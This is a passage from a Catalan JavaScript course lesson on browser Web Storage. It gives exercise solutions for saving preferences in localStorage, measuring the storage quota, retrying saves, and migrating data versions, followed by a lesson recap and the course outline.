const PER_DEFECTE = Object.freeze({ tema: 'clar', ordre: 'prioritat', columnesCompactes: false });

function analitzarSegur(text, perDefecte) {
  if (text === null) return perDefecte;
  try {
    const valor = JSON.parse(text);
    return (valor !== null && typeof valor === 'object') ? valor : perDefecte;
  } catch {
    return perDefecte;
  }
}

export function llegirPreferencies() {
  const desades = analitzarSegur(localStorage.getItem(CLAU_PREFS), {});
  // El spread aplica els valors per defecte NOMÉS a les claus absents: un false desat es respecta
  return { ...PER_DEFECTE, ...desades };
}

export function desarPreferencia(clau, valor) {
  if (!(clau in PER_DEFECTE)) throw new Error(`Preferència desconeguda: ${clau}`);
  const actuals = llegirPreferencies();
  const noves = { ...actuals, [clau]: valor };           // actualització immutable (04-07)
  try {
    localStorage.setItem(CLAU_PREFS, JSON.stringify(noves));
  } catch {
    console.warn("[nomada] No s'ha pogut desar la preferència.");
  }
  return noves;
}

export function desarFiltreTemporal(filtre) {
  sessionStorage.setItem(CLAU_FILTRE, JSON.stringify(filtre));
}

export function llegirFiltreTemporal() {
  return analitzarSegur(sessionStorage.getItem(CLAU_FILTRE), { responsable: null, text: '' });
}

La clau és a { ...PER_DEFECTE, ...desades }: el spread de 04-07 completa només el que falta. Si haguessis escrit desades.columnesCompactes || PER_DEFECTE.columnesCompactes, un false desat es convertiria en false per casualitat… però un 0 o una cadena buida en una altra preferència es perdrien. El spread no té aquest problema perquè distingeix absent de falsy.

Solució 2

export function provarQuota() {
  const CLAU = '__quota__';
  const bloc = 'x'.repeat(1024);            // 1 KiB de caràcters (≈2 KB en UTF-16)
  let acumulat = '';
  let kb = 0;

  try {
    // Bucle deliberadament infinit: surt per l'excepció
    for (;;) {
      acumulat += bloc;
      localStorage.setItem(CLAU, acumulat);
      kb += 1;
    }
  } catch (error) {
    if (error.name !== 'QuotaExceededError' && error.name !== 'SecurityError') throw error;
    console.log(`Quota aproximada: ${kb} KB de caràcters (~${(kb * 2 / 1024).toFixed(1)} MB reals)`);
    return kb;
  } finally {
    localStorage.removeItem(CLAU);           // ← s'executa passi el que passi (02-05)
  }
}

export function desarAmbReintent(repositori, tauler, historial) {
  let retall = [...historial];
  for (let intent = 1; intent <= 3; intent += 1) {
    if (repositori.desar(tauler)) {
      return { desat: true, intents: intent, historial: retall };
    }
    retall = retall.slice(Math.ceil(retall.length / 2));   // conserva el més recent
    console.warn(`[nomada] Reintent ${intent}: historial retallat a ${retall.length} entrades.`);
  }
  return { desat: false, intents: 3, historial: retall };
}

El finally és imprescindible: sense ell, una fallada deixaria megues d'escombraries ocupant la quota de l'usuari. I fixa't que slice des de la meitat conserva el final de l'historial, que és el recent i per tant el valuós.

Solució 3

const VERSIO_ACTUAL = 2;

export function migrar(dades) {
  let actual = dades;

  if (actual.versio === 1) {
    actual = {
      versio: 2,
      nom: actual.nom,
      tasques: actual.tasques.map(({ revisor, ...resta }) => ({
        ...resta,
        revisadaPer: revisor ?? null,      // reanomenat
        bloquejadaPer: []                  // camp nou amb el seu valor per defecte
      }))
    };
  }

  if (actual.versio !== VERSIO_ACTUAL) {
    throw new ErrorDeDades(`No sé migrar la versió ${actual.versio}.`);
  }
  return actual;
}
// dins de RepositoriLocal.carregar(), després del JSON.parse
let migrat;
try {
  migrat = migrar(dades);
} catch (error) {
  console.warn('[nomada]', error.message);
  this.netejar();
  return null;
}

if (migrat !== dades) {
  this.#magatzem.setItem(this.#clau, JSON.stringify(migrat));   // consolidar la migració
}

return Tauler.importar(JSON.stringify(migrat));

Dos detalls: la desestructuració ({ revisor, ...resta }) de 04-07 elimina la propietat vella al mateix temps que en captura el valor, que és la manera idiomàtica de reanomenar un camp; i la migració només s'escriu al magatzem si realment ha canviat alguna cosa, per no reescriure a cada arrencada.

Conclusió

Nómada Tasques ja recorda. Saps que el navegador ofereix cinc magatzems amb propòsits diferents —cookies per al que ha de viatjar al servidor, localStorage i sessionStorage per a dades petites i síncrones, IndexedDB per a volum i estructura, Cache API per a respostes HTTP— i saps justificar per què el projecte fa servir localStorage. Domines els sis membres de la Web Storage API, i tens gravat que només desa cadenes: d'aquí que JSON.stringify i JSON.parse siguin obligatoris, que analitzarSegur protegeixi de dades corrompudes, i que el toJSON i el static desDeJSON que vas escriure a 05-03 hagin resultat ser exactament la peça que faltava —sense ells, els camps privats #estat i #hores s'haurien perdut en silenci, i en tornar tindries objectes plans sense mètodes ni getters—.

Saps que l'origen (protocol, domini i port) és la frontera del magatzem, i per què canviar de port sembla esborrar les teves dades. Saps triar entre persistència indefinida i durada de pestanya amb una pregunta senzilla, sincronitzar dues pestanyes obertes amb l'esdeveniment storage —que mai es dispara a la pestanya que va fer el canvi— i endollar aquella sincronització als CustomEvent de 06-04 sense tocar la vista. I coneixes les tres maneres en què això falla en producció: la quota d'uns 5 MB amb el seu QuotaExceededError, el mode privat on accedir pot llançar SecurityError —d'aquí la comprovació que intenta escriure de debò i la reserva en memòria—, i el fet que sigui síncron i bloquegi el fil, que enllaça directament amb el bucle d'esdeveniments de 05-07 i obliga a esmorteir amb debounce. Per damunt de tot el que és tècnic queda l'advertiment que no has d'oblidar: localStorage no està xifrat, no caduca i qualsevol XSS el llegeix sencer, així que ni tokens, ni contrasenyes, ni dades personals sense base legal i sense revisió de compliance.

I tens la primera peça de la capa de dades: js/dades/repositori-local.js, amb desar(tauler), carregar() i netejar(), que descarta el que està corromput, revalida amb Tauler.importar perquè no es confia mai en el que surt del magatzem, versiona el format amb nomada:tauler:v1 i sap migrar. L'aplicació arrenca del que està desat, cau al backlog inicial si no hi ha res, i desa escoltant els esdeveniments que ja emetia. El model no ha canviat ni una línia.

Però la persistència local només resol la meitat del problema que plantejava el tancament del Mòdul 6. La Marta ja no perd la seva feina en recarregar… i continua sent l'única que ho veu. L'Iván té el seu propi localStorage al seu portàtil, amb la seva pròpia còpia del tauler, i la Lucía una altra de diferent al seu. Tres veritats paral·leles que no es troben mai. Perquè el tauler sigui el mateix per a tot l'equip calen dades que visquin fora del navegador, en un servidor, i una manera de parlar-hi sense recarregar la pàgina. Això és exactament el que porta la lliçó següent: Fetch API i AJAX, on el js/dades/repositori-local.js que acabes d'escriure tindrà un germà, js/dades/api-tasques.js, i on per fi substituiràs aquelles funcions llegirBacklogSimulat() i desarInformeSimulat() de 05-06 —les que fingien latència amb setTimeout— per peticions de debò.

Curs de JavaScript: De Principiant a Avançat

Mòdul 1: Introducció a JavaScript

Mòdul 2: Estructures de Control

Mòdul 3: Funcions

Mòdul 4: Objectes i Arrays

Mòdul 5: Objectes i Funcions Avançades

Mòdul 6: El Model d'Objectes del Document (DOM)

Mòdul 7: APIs del Navegador i Temes Avançats

Mòdul 8: Proves i Depuració

Mòdul 9: Rendiment i Optimització

Mòdul 10: Frameworks i Llibreries de JavaScript

Mòdul 11: Projecte Final

© Copyright 2026. Tots els drets reservats